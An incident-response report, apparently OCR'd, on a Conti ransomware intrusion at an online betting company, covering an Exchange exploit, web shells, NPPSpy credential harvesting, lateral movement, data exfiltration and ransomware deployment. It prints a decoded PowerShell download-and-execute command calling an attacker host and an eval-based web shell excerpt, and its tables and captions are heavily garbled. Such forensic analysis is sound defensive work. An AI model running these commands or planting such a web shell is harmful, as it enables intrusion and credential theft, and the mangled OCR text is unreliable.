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Executive Summary

The sophisticated nature of today’s threat landscape and incessant bad actors continue to wreak
havoc on enterprise infrastructures. Anindustry not often mentioned, but one of the most vulnerable
and attacked more than expected, is betting and online casino services.

Visibility is the lynchpin to protecting these gaming organizations’ networks by actively looking for
any security gaps, vulnerabilities, ongoing cyberattacks, and anomaly or wrong usage of network
resources.

The evergreen cybersecurity threat mantra has been, “If you don't find them, you can’t fix them.” And
unfortunately, this has never been more true in the gaming industry, as lack of visibility into severe
threats is still a major security issue.

There could be several reasons for this; specifically, we've seen some organizations in the gaming
industry that may not understand the importance and impact of network visibility, or these
organizations’ teams lack the tools and resources to stay vigilant.
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Executive Summary (Continued)

Whateverthereason,thedearthofadequateresponses
from security teams is due to the dependency on
technologies and parameter-based security solutions.
Leveragingonthese “solutions” an,d moreingeneral,an
approach strongly dependent on technologies offers
few chances to guard the environment effectively
and limits the spectrum of cybersecurity controls that
these companies apply effectively.

This paper dissects two major security infiltrations of
companies inthe gaming space. The first case discusses
an online betting organization stretching from Europe
to Asia to the Americas. The second case discusses an
online casino company operating in Asia/Pacific.

The intricate, illustrated findings are the result of
deep-dive analyses from the NetWitness Incident
Response and Cyber Defense Services team.
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Introduction

The online gaming industry is a wide field comprised of diverse companies
and games, including online games, casinos, betting services, MMORPGs,
and online multiplayer games.

From a cybercriminal standpoint, these companies are jackpots for the
bad guys.

Because all of these gaming companies store private customer data,
when targeted by ransomware or other denial-of-service toolsets, the
organizations are normally willing to pay to recover their ubiquitous online
presence. The impact of any disruption of the service could, of course, be
extremely expensive, both in terms of reputation and potential loss of a
lucrative customer base to other competitors. The competition between
the services these organizations offer is fierce; as one of our customers
operating in the online betting world told us, “If you hinder access to the
platform twice in a day, the risk is that the user will find another platform ,,
to log into.

Companies in the gaming industry integrate payment systems with

dedicated applications, and they must diligently maintain infrastructures If you hinder

to support these systems and services. Usually, they develop and maintain

software, but more importantly, they maintain databases with players’ access -l-o
personal and financial data.

the platform

[ ] [ ]
| | twice In a
In time, these companies developed a well-structured set of controls
[ ]
and technologies to protect their customers’ data, a trait that became d h k
ay, the ris

common between different providers. A typical betting portal or online

casino applies SSL encryption and enforces a strong set of controls on the is ‘l'h a‘l' fhe
transactions, spanning from the quality of the code to periodic testing of its

web services. user Wi"

But as you'll see, the devil is in the details. find an°1'her
platform
to log into.

The corresponding “attack surface” is vulnerable.
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CASE
Northern European Gaming Company

Background

The first case targeted a North European gaming company (Company) operating
globally with its business focused on online betting and operating with four data
centers located in Germany, Canada, Macau, and Florida. It also operates as a service
provider for smaller gaming firms.

Operating in a market where privacy is a mandatory requirement, the Company was
frequently audited by trusted advisors (from the Big Four) and regularly carried out
vulnerability assessments and pen testing of the online services and corresponding
systems.

From the code review perspective, the Company is working to leverage standards
and best practices, and it has implemented a well-structured process for any release
of the Company’s software.

© 2023 NetWitness LLC All rights reserved. >¥ NETWITNESS 6



Exploit and Compromise

Through an active exploit of the Exchange Web Server (CVE-2021-42321)
announced the previous day, two web shells were uploaded to DC1-EXCHO1 on
December 9, 2021.

ATTACKFR
23,103,81.113 %

OCT KXCHOD

Dite Conter

FIGURE 1: INITIAL ATTACK SEQUENCE

The proximity in the file creation (a few milliseconds apart) in different paths confirm the web
shells were dropped through an exploit with chained payloads.
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Second Webshell with
p functions to interact with files

FIGURE 2: $MFT RECORDS RELATED TO THE WEB SHELLS FOUND ON EXCHANGE SERVER DC-1EXCHOO

Notably, the attacker time-stamped the Creation Time of the web shells metadata to reduce
the chance of being discovered. We found this anomaly only through the review of $FN Creation
Time field and were able to link those two files..

The web shells were different; one named “Logout.aspx” was extremely simple.

It calls the IIS Worker process (w3wp.exe) to spawn the Command Processor, which, in turn,
launches PowerShell.

"cmd.exe" /c powershell -ep bypass -e
SUVYIChOZXctT2JgZWNOIESIdC5XZWJDbGIIbnQpLmRvd25sb2Fke3
RyaW5nKCdodHRwOIi8vd3d3Lmt1bmiwdGlraWisSLmluZm8vcD9lJyk=
DECODED
IEX (New-Object Net.WebClient).downloadstring(‘http://www.kuniptikiky.info/p?e’)
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The PowerShell code instructs the system to download a file via HTTP from a
specific web page and execute the file.

The second web shell is more sophisticated; it allows the attacker to interact with
the system through requests containing the parameter cadataKey.

If the cadataKey parameter is not specified, the web shell performs a redirection to
the errorFE.aspx page, returning an HTTP 404 code.

var y=Request["cadataRey"];
if(y) -
eval(y);
lelse(
Response.Redirect ("/owa/auth/exrrorFE.aspx?httpCode=404") ;

}

FIGURE 3: EXCERPT OF IISSTART.ASPX WEB SHELL

The web shell included the ability to run arbitrary commands and upload, delete, and view the
contents of files. Once implanted, it allowed the attacker to access the environment with local
administration rights.

The attacker was able to test the web shell and leave it on the system unnoticed for some
weeks. Unfortunately, the log retention configured on the Exchange servers was limited to the
default of 30 days, and that affected the chance to define the attacker actions following the
drop of the web shells. But based on the findings collected during the investigation, it seems
the attacker limited his actions during this phase.

In fact, from the date of the initial attack, no other signs of attacker presence were left behind
until February 18, 2022, when they uploaded a file named Isass.dll to the DC1-EXCHOO.

iisstart aspx

E v “ /
Conti Operator \ 2 iisstart.aspx
QS%

2318381113

DC1-EXCHOD

MUNICH

FIGURE 4: ATTACKER DROPS LSASS.DLL THROUGH THE WEB SHELL Data cente

Between December 9, 2021 and February 18, 2022, we did not find any significant action or
system modification once we investigated the case. This is probably due to the attacker trying to
sell access to a different actor in the meantime — a ransomware gang.
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Isass.dll

This malicious file was stored inside the Exchange servers and loaded as a process
on DC1-EXCHOQOQ. The file was built with the goal of harvesting credentials.

MUNICH
Data Center
C:Yywindaws\ temp', tApONER . top

FIGURE 5: LSASS.DLL CREDENTIAL HARVESTING MECHANISM

This mechanism works in real time and can be configured to act whenever a user authenticates
with the Exchange server. It is based on the technique developed by Grzegorz Tworek and it
was built upon Grzegorz POC code: NPPSPY.

To describe the credential harvesting mechanism, we need to clarify the role of the network
providers in the Microsoft authentication ecosystem. As we are all aware, user authentication
is a core function of the operating system. The Windows authentication architecture contains
multiple components that have access to credentials. When users authenticate themselves to
the operating system, these components can further process the credentials.

An often-used procedure is the caching of credentials in order to authenticate against
other systems without users having to enter their usernames and passwords again.

This delegates the Authentication functionality to a number of security providers within the
system, for example, Kerberos, NTLM (MSV1), TLS/SSL (Schannel), and Digest (WDigest).

Microsoft developed a specific interface called SSPI (Security Support Provider Interface)
to allow these Security Service Providers (SSP) to manage the process and created a
specific key inside the system’s registry called “security packages” for the purpose of storing
the configuration and the components needed by these providers. The key is located in the
following path:

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Security Package

© 2023 NetWitness LLC All rights reserved. NETWITNESS



https://twitter.com/0gtweet
https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy

CASE

The LSA protection function canbe usedtorestrict the access to the authentication
system to SSPs signed by Microsoft. But to circumvent this control, an attacker

can target specific and authorized Security Providers, in particular, the network

providers.

A network provider is a DLL that provides support for specific network protocols.
They use the Network Provider API to communicate with the operating system.
In the Microsoft ecosystem, a network provider can also be a credential manager.

Within the Network Provider API, the function NPLogonNotify is used to receive
credentials as a credential manager, and it is the one used to trace authentication
to the Exchange server.

The Network Provider, as a credential manager, offers the following options:

o Logon Notification
Via NPLogon and NPLogonNotify

o Password Change Notification
Via NPPasswordChangeNotify

(o] Current User Query
With NPGetUser

By leveraging the creation of a network provider
under the form of a DLL and by interacting with the
Winlogon process that provides the interface and
authentication functionality needed to authenticate
users to several applications (including Exchange),
an attacker can successfully copy any credential
passed to the Winlogon and save it on a local file.

This vulnerability in the authentication process was initially reported in 2004.*

!t was presented at Black Hat 2004 by Sergey Polak: https://www.blackhat.com/presentations/win-usa-04/bh-win-04-polak/bh-win-04-polak2.pdf

© 2023 NetWitness LLC All rights reserved. >g NETWITNESS 10
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CASE

By leveraging the creation of a network provider under the form of a DLL
and by interacting with the Winlogon process that provides the interface and
authentication functionality needed to authenticate users to several applications
(including Exchange), an attacker can successfully copy any credential passed to the
Winlogon and save it on a local file.

This vulnerability in the authentication process was initially reported in 2004. In
fact, Winlogon communicates with MPnotify via an RPC channel and communicates
usernames and passwords. The MPnotify tool then distributes this information to
the registered credential managers, as illustrated in the following figure:

!

Lsass.dll writes
cleartext password
----------------------------- : to the .TMP file

| Network Provider | -

NPLogonNotify API s

B #

Winlogon sends

Password - .
Active Directory
fo lsass.dil Domain Server

!
Y Winlogon sends
" —» Password —» gser
to MPNotify -

APty e

Winlogon
RCP channel —»
to ify

User
Pass Paasswas

DCI-EXCHO0

FIGURE 6: HOW LSASS.DLL WORKS

Any allowed credential provider can be defined via the registry in the same way as SSPs.

The registry key ProviderOrder under the path:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order
contains all network providers. The function NPLogonNotify is used to receive credentials

as a credential manager.
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CASE

To exploit this mechanism, as the attacker did, you need to create a proper DLL
based on the code of the NPPSPY and copy it into the system32 folder of the main
Windows directory.

Drive Letter (Partition to which the MFT file belongs) € ~ Maching  DC1.EXCHOO v Woumou]

Hame Size Creation Time (SFN)  w Creation Time (559 Full Path

| ’ AteraAgentPackage.Com_.  S05kB 180272022 201216361 180072022 201216381  C\Windows\Temp'\AteraUpgradeAgentPackage'Atera AgentPackage.Common.dll
AgemPackageUpgradea... 429k8 180272022 20:12:16.361 18022022 201216381 CA\Wnaows \Temp \ALtTaUporadeAentPackage AgentPackageUp radeAgent. exe
INStAIURIL InStai 09 16k8 18022022 20011:45.082 180272022 20:11:45.002  CAWIndows\System32unstaliUtiLingtalitog

ﬂ setup.mii 1,46 MB 18022022 20:11:20.440 180272022 2011: 29440  CAWIndows\Temp\setup.msi

I FileScantog 492468 15022022 160:19.132 18022022 160019132 C\Program Files\Commvault\ContentStore\Log Files\FileScantog

l J Isass.dn 895kB 18022022 120%49.165 184022022 120%49.165  C:\Windows\System32\sass.all I *—- Password harvesting malware

| Mtperréldlog 1024068 18022022 074251380 18022022 074251380 C\Windows\System32\logFiles\HTTPERR \Mtperrf29log
L* L energyeport-2022.02.1..,  S89KkB 1 0kd235415 1 2022 034235415 amData\Microsoft\Windows Power Effiiency ""ﬁ‘““‘“"ﬂ‘ﬂmm’ﬂ

FIGURE 7: EVIDENCE OF THE LSASS.DLL PATH FOUND IN THE DC-EXCHOO SERVER

By adding the DLL to the network providers via the modification of the above registry key, the
attacker was able to activate the malicious module, collecting the cleartext credentials passed
when the users logged onto the Exchange server.

While this was not new to NetWitness IR team — other actors used this mechanism to harvest
credentials without recurring to the most common mimikatz and Isass dump techniques — the
smooth, organized method adopted by the actor, which strategically limited the implant to the
Exchange servers and organized the dll to work in conjunction with the web shell, clarified the
skill set and the sophistication of this actor.

With this trick, the attacker automatically harvested about 320 credentials storing them in a file
named: tmpQWER.tmp created in the following path:

C:\windows\temp\tmpQWER.tmp.

Subsequently, the attacker replicated the deployment of this malware to other systems, including
several domain controllers.

© 2023 NetWitness LLC All rights reserved. >g NETWITNESS 12




The Atera Package
Collecting credentials was not enough for the attacker. A few hours after the setup
of Isass.dll, they started uploading additional tools through the web shell.

Bsstan asp

Conti Operator jisatart aspo

&
-
£
-
E
L

23183m3

DCI-EXCHOD

FIGURE 8: UPLOAD OF ADDITIONAL TOOLS MUNICH
Data Center
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As illustrated in the following figure, it took a few hours, between the setup of Isass.
dil and the upload of the first additional package setup.exe, a version of the Atera

package.

Atera is a commercial software that enables monitoring, management, and

automation of IT networks from a single console. If used by an attacker, it can allow
them to monitor the implanted systems and their network and to schedule or
perform anumber of actions, including the execution files and services, modification
of system variables, and scheduling of actions.

Drive Letter (Partition to which the MFT file belongt) ¢ =

Machine: DC1-£0CH00

Mighlight Date St

Hame Sze

AteraAgentPackage Com 80918

AgentPackageUpgrades. 4298

INFLAIURIL INStai 09 16kB
setup.mii 1,46 M8

FileScanlog 452448

Creation Time [SFMN)

180272022 20 12:16.361
180272022 20:12:16.361
180272022 20 11:45.082
180272022 2011:29.440

180272022 1600:19.132

w» Creation Time (559

18022022 201216361
18022022 201216361
18022022 20:11:45.082
1802/2022 20:11:25.440
1802/2022 1600 15,132

Full Path

Cowndows Temp AleralUpgradeagentPackage Atera AgentPackage Common ol
CiwWndows Temp AleraUpgradeigentPackage AQentPaciageUpgradeigent exe
Ciwndows Syitem32UunstaliVtl initalilog

C\Windows Temp\setup mu «f=— ATERA package

CProgram Filer\ Commvault ContentStore Log Filer FileScan log

I3844.00 95k8

180272022 12:09.49.165

1800/2022 120949165

C\Wndows SystemI 2 bsais. ol ] *— Password harvesting malware

hitperrélalog 10240 k8

180272022 OT49:51.380

180272022 07:4%:51.380

C\Windowr\Syitem32 \LogFiles HTTPERR Mtperréli log

$9.9 k8 18022022 0X4235.415

2 emrw-um-lﬁ.‘z-o.‘-l‘.. 140072022 0342 35,415 C\ProgramData Microsoft Windows Power Efioengy Diagnostis .mvn-rtwd\‘ﬂ:z-m-wﬂ

FIGURE 9: MFT ANALYSIS SHOWING TIME BETWEEN THE LSASS.DLL AND THE ATERA PACKAGE

At this stage, the attacker did not execute additional activities, waiting for some time, probably
aiming to collect domain credentials to start moving laterally.

In fact, until March 11, 2022, the attacker kept a very low profile.

They accessed the web shell periodically to harvest new credentials but were unwilling to extend
the activity to other machines.

OnMarch 11, we found the Atera package being deployed on the main Munich domain controller
from the Exchange server:

Drive Letter (Partition to which the MFT file belongs) ¢ ~ Machine: | DC1-DC000T

Name Size Creation Time (SFN)  + Creation Time (559 Full Path

RECV2022031116-1.10G T2kB 11/03/2022 17:00:35.592  11/03/2022 17:00:35.592  C:\Program Files\Microsoft\Exchange Server\V15\TranspontRoles\Logs\Frol

hitperrééi.log 1023.9kB  1103/2022 15:37:14.955 11032022 1537:14.955  C\Windows\System32\LogFiles\HTTPERR\httperréél.log

C:\ProgramData\setup.msi I ATERA agent package

setup.msi 1,46 MB 11/03/2022 10:13:44.888 11/03/2022 10:13:44.888

Report.wer 1,5k8 11/03/2022 06:08:17.657  11/03/2022 06:08:17.657  C:\ProgramData'\Microsoft\Windows\WER\Reportarchive'\NonCritical_ade

hitperréb2.log 10228 k8 11/03/2022 00:0&:32.034  11/03/2022 00:0&:32.024 C\Windows\System32\LogFiles\HTTPERR\Mtperréé2.109

FIGURE 10: EVIDENCE OF ATERA PACKAGE BEING STORED INSIDE THE MAIN MUNICH DOMAIN CONTROLLER

© 2023 NetWitness LLC All rights reserved. NETWITNESS




In addition, the attacker uploaded Splashtop, an RDP tool, to the system.

E: Mebshell

23.183.81.113

DCI-EXCHOO

MUNICH
Data Center

FIGURE 11: ATTACKER BEGINS TO MOVE LATERALLY, TARGETING DOMAIN CONTROLLERS

The action against the domain controller signaled the start of the final phase of the attack.

On March 24, the attacker again uploaded the [sass.dll on the second Exchange Server DC1-
EXCHO1 and activated it as illustrated below:

Nyme Sie Creation Time (3PN ~ Modfication Time (330 Ful Path

RECV2022032410-1.L0G M2k 24032022 11003830 24002022 120030517 CAProgram Filer\Microsom Exchange Serve VIS TranipotRobes Logs 'lﬂﬂflﬂ‘-;
REQVROR2012409-1.106 kg A0IANT 1000:3IN WO NMOCII CProgram Filer MicrosoM Exhange ServerviSilranipotRolerLogs FrontEnd.)
QuenRequeitlog, 20220324 074636 6779068, 12808 2403022 09 56:47.504 0142022 125712624 CProgram Filer\MicrosomMExchange SemverV151og0mng'Quen’ QueryRequast .:
RECV2022032408-1.10G 208 202022 0500: 38,081 24032022 100038232 C\Program Filer\Microsom Exchange Senven V1S TraniponioksLogs lmﬂt!mhl
GroupMetricsContent_4137¢853.96004ae.53... (31 ] 24/03/2022 08:50:41.689 24032022 085041705 C\Program Files\MicrotoM Exchange Sermverv1$ ernm«r-u-cmnpmmuco,'
User.en-Us 48,7 kB 240172022 08:50:40.282 240372022 08 50:40.266  C\Program Files\Microsof Exchange Serverv15 Uniliedhiessaging Dﬂﬂmﬁ.:
bﬂl.ﬂ 83.5k8 24012022 0847:45.175 24012022 084745175 CoWingowt\Syitem I dsassail I
Coriﬂlhnung__w}wp_um_i_it'i..‘ﬁ)i-i-l.t..‘ 264 kB 240N CBAT 044 01042022 155620820 CoPregram Files\Micresofxchange Sm!l'.\'Ii.l.op_gnn'.(ur*ml.mngmgl'..,

FIGURE 12: EVIDENCE OF THE UPLOAD OF THE LSASS.DLL ON DC-1EXCHO1

A few hours after the drop of the malicious dll, they started collecting credentials:

Name Sue Creation Time (SEN) w Moddication Time ($59 Full Path

Dackup emOF SC67273-5878 4356-8338-£€757. W398 /032022 13:01:38.282 03022 13030753 C\Program Files\Commvaui ContentStoreuDatasgent JobResult(\CV, JobResul.
Dacup. envO(AST12476-8591 4BD9-9817 6154, 48 24032022 13:01:27.895 24032022 130230799 C/\Program Files\Comawault\ContentStoreuDatal gent JobResults\CV_JobRewul
RECV2022032412.110G n2s 24/03/2022 13:00:38.681 24032022 M00:33.828  C\Program Files\MicrosofMExchange Server\V15\TransportRoles'\Lags\FrontEnd..
EnpQATR tnp | Objtes 2032022 123522562 08042022 195624356 C\Windows\Temp\impQWIR tnp |

RECV022032411-1406 11,0 k8 24052022 1200 38517 24052022 130033681 CProgram Files\Microsoft Exchange Serrer\V15\TransportRoles\Logs fronting.

FIGURE 13: EVIDENCE OF THE ACTIVATION OF THE CREDENTIAL HARVESTING

© 2023 NetWitness LLC All rights reserved. NETWITNESS 15




CASE

The climax was reached on April 5 when the attacker stole transaction details from
the online services.

To do that, they moved laterally to the virtualized environment hosting the Online
BettingServicebackend. Theycollecteddatafromthebackenddatabases,compressed
it into a 7-Zip format, and transferred it to a Web Server: DC3-SPORS2 hosted in
the Toronto Data Center previously infected with Atera and Splashtop. Then they
successfully transferred the 7-Zip archives to an external system: 195.149.87.179.

195.149.87.179

TORONTO
Data Center

iisstart.azpx

MUNICH
Office

DC1-EXCHOD

NETWORK

MUKICH
Data Center

FIGURE 14: ATTACKER BEGINS EXFILTRATING DATA FROM THE VICTIM

© 2023 NetWitness LLC All rights reserved.
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During the analysis, we found extensive evidence in the DC3-SPORS2,
starting from April 2:

Harse Size Creation Tiese [SFH) » Modification Time (550 Full Fath

Serasetuplog i 2025 kB 02/04/2002 O%-08:02.791 OA042022 030815748 CMWindows TempiAterasetuplog.ia

Setupxbd.me 1,46 ME 02042022 03:06:01,305 02042022 A CWindaws Temp'\ Setupwdd.mei

(331e370-3201-366¢-0514-5ea5072MTab d 28 bytes D2 T=202Z O306:01.77% Q2022022 03:06:01.774  CVWindows\System3Z\ LogFibes\5cmicase 370-32a1-466e-0514-5ea3(721Tabd
I5El__a_sr,_t_?_n_Sf_r__e_arvf_r_l_S?q._r:xe_ I Obytes BC04/2002 03-06:01.552 C0A/2022 03:-06:45.825  C\Windows\Temp\SplashtopStreamera500.exe ]

System.Management.dil 51,9K8 027042022 03:06:00,159 GAEIAT  CWIndows Temp'Akeralipg ge\ Syt dil
Mawtaniaft.lion.dil 5214 kB 02/04/20¢2 03:06:00.159 02042022 03:06:46. 544  CVWVINdOw Temp AteralipgradeAgent Fackag ¢ Newtons ott.Json.all

Microsoft Wini2 TazkScheduler.dll I 4kB 02/04/2002 03-06:00.123 O04/2002 03-06:46.518 (2 \Tempi.iteralin a g Mi WinJLT: il
Micresoft.Deployment Windowsinstallendil 17,4 kB 02042022 D306:00.167 02042022 D3:0G4G454  CVWIndovwrs Temphiberalipgradesgent Package\Microsofl. Deployment Windowsinstaller.dil
Amgra-AgentPackage. Comman.di 814k8 02042002 03:06:00,167 C04/2002 03066270 CvWIndows Tempiibaralpgradeagent Fackag e Atera AgentPackage. Comman,dil
AnentPackanelinaradsdnent. e 41458 BHB4002 D3-06:00.115 204022 03 161_C4 Temeidkaral ® v

FIGURE 15: EVIDENCE OF ATERA AND SPLASHTOP TOOLS INSTALLED ON DC-3SPORS2 (TORONTO DMZ WEB SERVER)
PLEASE NOTE, THE LOG IN FIGURE 15 IS PRESENTED AS GMT1+ TIME ZONE WHILE THE MFT TIME IN FIGURE 14 IS REPORTED AS GMT.

The attacker used RDP tools to manage the system and to execute the final steps of the
exfiltration task.

Evidence suggests that the attacker used a domain admin account to authenticate into the
system via Splashtop remote access.

1)t cematace (2/04202 TermenalSenvces- L ocalSesssonhan.

Event 21, TerminalSenices-LocalSessonhManager
General  Details

Remote Desktep Senvices: Session logon succeeded:

FIGURE 16: ADMIN ACCOUNT USED FOR REMOTE ACCESS TO THE SYSTEM

Notably, to complete the exfiltration, the attacker installed another remote access tool onto the
system: AnyDesk.!

@ Information 02/04/2022 04:55:03 Splashtep-Splashtop Streamer-Re... 1101 Nene
(i)Information 02/04/2022 04:50:32 Splashtop-Splashtop Streamer-Re... 1101 None
<

Event 1101, Splashtop-Splashtop Streamer-Remote Session

General Details

The description for Event ID 1101 from source Splashtop-Splashtep Streamer-Remeote Session cannot be found. Either the compenent that raises this event is not installed on your local computel
installation is corrupted. You can install of repair the component on the local computer.

If the event originated on another computer, the display information had to be saved with the event.
The following information was included with the event:

923709930
3.5.0.2

AnyDesk (1).exe
DC1- AP3BFB
A

AP3-de ]

FIGURE 17: ANYDESK REFERENCE IN SPLASHTOP LOG FILES

! It was presented at Black Hat 2004 by Sergey Polak: http: vww.blackhat.com/presentations/win-usa-04/bh-win-04-polak/bh-win-04-polak2.pdf
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From this point on, they accessed the system via AnyDesk.

], Information 02/04/2022 11:22:04 TerminalServices-LocalSessionMan...
\(Dinformation  02/D4/2022 11:24:10 I

Event 21, TerminalServices-LocalSessionM:

9

General Details

Remote Desktop Services: Session logon succeeded:
User: I CE T\ turner

FIGURE 18: RDP ACCESS FROM M.TURNER

We canreliably state that between April 4-5, they successfully exfiltrated about 12.45 Gb of data
from the environment, including payments and betting details.

Unfortunately, up to this point, the attacker worked undetected.

On April 6, the attacker started the deployment of the ransomware inside the Company, aware
that a similar action would generate immediate alerts. To do that, they worked with different
strategies.

© 2023 NetWitness LLC All rights reserved. NETWITNESS 18




CASE

Ransomware Phase

On April 6, 2022, the attacker completed the operation by executing a massive
dissemination of Contiransomware with acombination of RDPs and PsExec sessions.
The attacker divided the dissemination of the ransomware into three blocks:

1. The standard machines
2. The backup environment
3. The virtual infrastructure

Regarding the standard machines, the attacker loaded and executed the ransomware
with a mix of RDPs and PsExec sessions.

RDP + PsExec --"""

ransomware distribution

# Data Center

I
I Virtual Infrastructure
I
I

MUNICH
Office

NETWORK
Dev Systems

MUMNICH
Data Center

FIGURE 19: STANDARD RANSOMWARE DEPLOYMENT
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Thedistribution started from a single point, a trusted system: the domain controller
DC1-DC0001, originally owned by the attacker since March.

With a separated and tailored action, the attacker ensured the backup servers of
the Company were encrypted by leveraging another variant of the ransomware and
another domain controller: DC1-APDCO1, as illustrated in the following figure:

Ransomware
installed manually

Backup Infrastructure '

DCI-APDCOI [

Virtual
Infrastructure

Ransomware
Distribution via
SSH Sessions

WHKD-PRTGOO
MUNICH
Data Center

FIGURE 20: RANSOMWARE DISSEMINATION TO THE BACKUP AND THE VIRTUAL INFRASTRUCTURE

Name Full Path Size Creation Time (SFN) w Creation Time (359

RICOVIR-pivienulita C TN RICOVIR phvtfinfLlS it QO0L0LL 44115552 OROL2022 k115502
RECOVER-pistifn FRES Bt CATEMP RECOVER-pdvitifn-FILES ted DEDL002 O441:15.459 D604/ 2027 044115455
RECOVER-pivtfnFRES bt C\Broadcom RECOVIR-pdvten FRES bt DEOL2022 04115411 O6/O4/2022 Cd 115411
RECOVIR-pintenFRES L CBEConteo RECOVER ot P FRES I OE0R2002 44115063 OEOL022 004115263
hedipoints swatcharts bt pdvtén Crdtench5040T checiponnts- swat chars tit pdvtn 06042002 0441 34.507 0604/ 2022 041 14507
RECOVIR-pavtfnFRiitn CrSRench SO0 T RECOVER pivten FLEL t DROLR022 044114108 CO4 2022 Ol 114105
RECOVER-pivtfnFLES bt CRECOVER phtdn FILES. st 06042022 0441.:05.337 OO/ 2022 04.41.09.337

FIGURE 21: RANSOMWARE FILES INSIDE A BACKUP SERVER

The same variant was used against the Company’s ESXi servers (about 50 hosts), which
adversely affected about 2,000 virtual machines hosted in them.

e Theransomware file the attacker deployed to the ESXi servers was named 32app.

e The common version affecting the other hosts was named
bet9?je_com_alpha_encrypt_app.exe.
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An example of the ransomware standard deployment against a Munich server

The number of machines impacted by the ransomware was roughly about 1,820,
including 1,132 physical and virtual servers. The vast majority of these systems
were infected through the activation of PsExec and the remote deployment of the
ransomware.

The following is an example of the evidence collected during our investigation of the
compromised systems.

OnApril 6,2022,at 04:39:52 a.m., the machine DC1-APUPO1 was implanted by the
ransomware dropped in the root Windows directory:

The ransom note appears shortly after, suggesting that the attacker immediately executed
the ransomware.

Hame Creation Time [SFN) w  Modificstion Time (1) Full Path

heckpoints-ntuser. dat.LOG1.p4vtifn 06/04/2022 04:39:55.785 06/04/2022 (4:43:56.263  C/\Users\ N <1 ¢ tkpoints-ntuser.dat.LOG1. p4vtitn

RECOVER-pwtifn-FILES.txt 06/04/2022 04:39:55.785 06/04/2022 04:39:55.785  C:\Users NN RECOVER-pdvtifn-FILES.bt

checkpoints-ReagentOld.xml.pvtifn 06/04/2022 04:3%:55.723 06/04/2022 04:43:536,691 C:\Recovery\checkpoints-ReAgentOld xml.pdvtifn

RECOVER-pawtifn-FILES.bxt 06/04/2022 04:3%:55.723 06/04/2022 04:3%:55.723  C:\Recovery\RECOVER-p&tifn-FILES.bt

RECOVER-pévtifn-FILES tet 06/04/2022 04:3%:55.613 06/04/2022 04:3%:55.629  C:\DownloadPackagelocation tar\RECOVER-péutifn-FILES.txt

RECOVER-pautifn-FILES.bxt 06/04/2022 (4:3%:55.613 06/04/2022 04:3%: 55,613 C:\RECOVER-pdtifn-FILES.bxt

kmj:itnmillmien:qm’:pp‘eu T 06/04/2022 04:3%:52.863 2317:06.000 C: ja_com_alpha_encrypt_app.exe I

94502200066 14430D577dBce 1 56 2e3_de2c2bSt 7., 06/04/2022 (4:3%:52.425 04:39:52,425  C:\Programi D ryptotRSANS 1.5 T7d3ce 1560803 _de2c2bsf- 748948
TEOheIRAAAIeAef 1. Rr0r. 31218088004 DRINA/3003 (413057, 475, DRINAN (3052495 [ i RERTATPIE] 85 Rdhe.def] Aedr.012150d50 004

FIGURE 22: EVIDENCE OF RANSOMWARE DEPLOYMENT

The appearance of PSEXESVC around the same timeframe suggests that PsExec was used by
the attacker to detonate the ransomware.

Name Size Creation Time [SFN) w Modification Time ($51)  Full Path

RECOVER-p4vtifn-FILES.tat 1,5kB 06/04/2022 04:40:23.539 06/04/2022 04:40:23.539 C:\Program Files (x86)\Mozilla Maintenance Service\RECOVER-p4wtifn-FILES.bd
RECOVER-p4vtifn-FILES.txt 1,5 kB 06/04/2022 04:40:22.599 06/04/2022 04:40:22.899_ C:\Users [N | 2 orites\RECOVER-p4vtifn-FILES.txt

PSEXESVC.exe 3749kB 06/04/2022 04:40:18.273 06/04/2022 04:40:18.367 C:\Windows\PSEXESVC.exe

RECOVER-pAvtifn-FILES.txt 1,5kB 06/04/2022 04:40:18.258 06/04/2022 04:40:18.256 C:\Users\ NN \S ¢31<h es\RECOVER-p4vtifn-FILES.txt

RECOVER-pdvtifn-FILES.txt 1,5kB 06/04/2022 04:40: 11,427 06/04/2022 04:40: 11,427 C:\Users\MS eai ch es\RECOVER-putifn-FILES.txt
[psexec.exe i 8154kB 06/04/2022 04:38:08.817 06/04/2022 04:38:08.817_C:\Windows\Temp\psexecexe |

FIGURE 23: EVIDENCE OF PSEXEC.EXE AND PSEXESVC.EXE ON THE SYSTEM

© 2023 NetWitness LLC All rights reserved. NETWITNESS 21




NWIR found evidence of the compromised account m.turner being
logged on through RDP at the time the ransomware was deployed.

Gereral  Details

Remote Detitop Services Sesson logon succeeded:

e T )

Source Network Address{10.0.250.1

FIGURE 24: LOG REFERRED TO THE PSEXEC REMOTE EXECUTION

To confirm the distribution of the ransomware was scripted, this is the record of an
Exchange server in Toronto, where the attacker launched psexec.exe before detonating the
ransomware:

Name Sae Creatica Tme 5FN) v Moddication Tame 353  Full Path

MSExchangeHMWoeer20020406-1 LOG. pvtf 26518 06042022 (44226512 06/04/2022 071541111 CProgram FilesMicrosafT Exchange ServerV1S\Lopging\Me
[Froecae BISA k8 CO0N2022 CLAZ 18,834 002002 GRAZ 16630 CWindows Temp gaexccent |

Golccalassstant 202208064 L0G 33 ytes 06082022 ka2 16.099 06042022 0442 35.19¢  C'Program Fies Murosoft Exchange Server V15 Lopaing Gel ocallog Gol ocallssntan 20220406 410G
Golgcaldspatant2020806-310G 39 bytes 06002022 (a2 16,084 06042022 02223519 C'Program Files Mirgioft Exchange Server V1S Loppng Gl ocall o5/ Gol ocaltssntant20220406-1.L05
Golecalasustant 202204062100 313 bytes 06 0A2022 (a2 16,063 06042022 024235194 C Frogram Files Murasoft £1change Server V15 Lopaing Gol 0cailog' GOL oA 5tant20220406-2.40G

o g

FIGURE 25: MFT EVIDENCE OF PSEXEC.EXE BEING DROPPED ON DC-3EXCHO003 IN TORONTO

Activation of PsExec was found inside the recovered Windows logs:

i Information Service Control Manager TO45 None

Llialosmatinn 2O 3 i fannsa Camtinl Manimas

Event T045, Service Control Manager

General  Details

A service was installed in the system,

Service Name: PSEXESVC

Service File Name %SystemRoot %\ PSEXESVC exe
Service Type: user mode service

Service Start Type demand start

Service Account LocalSystem

FIGURE 26: CREATION OF PSEXESVC SERVICE ON DC-3EXCHO03 IN TORONTO
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Ransomware Setup in the Backup System

From the attacker’s perspective, one of the key elements in a disruptive attack like
ransomware where the victim should be forced to pay is to ensure the victimis not
able to immediately recover and get back to business.

Any sophisticated ransomware gang knows that the backup infrastructure should
be taken down and kept off during the remediation phase to effectively force the
victim to open a conversation with the attacker.

Inthis case, the Contigang preferred to manually encrypt the backupinfrastructure
toensure the complete corruption of the snapshots and the backed up data.

To find and corrupt the backup infrastructure, Conti scanned the Munich Data
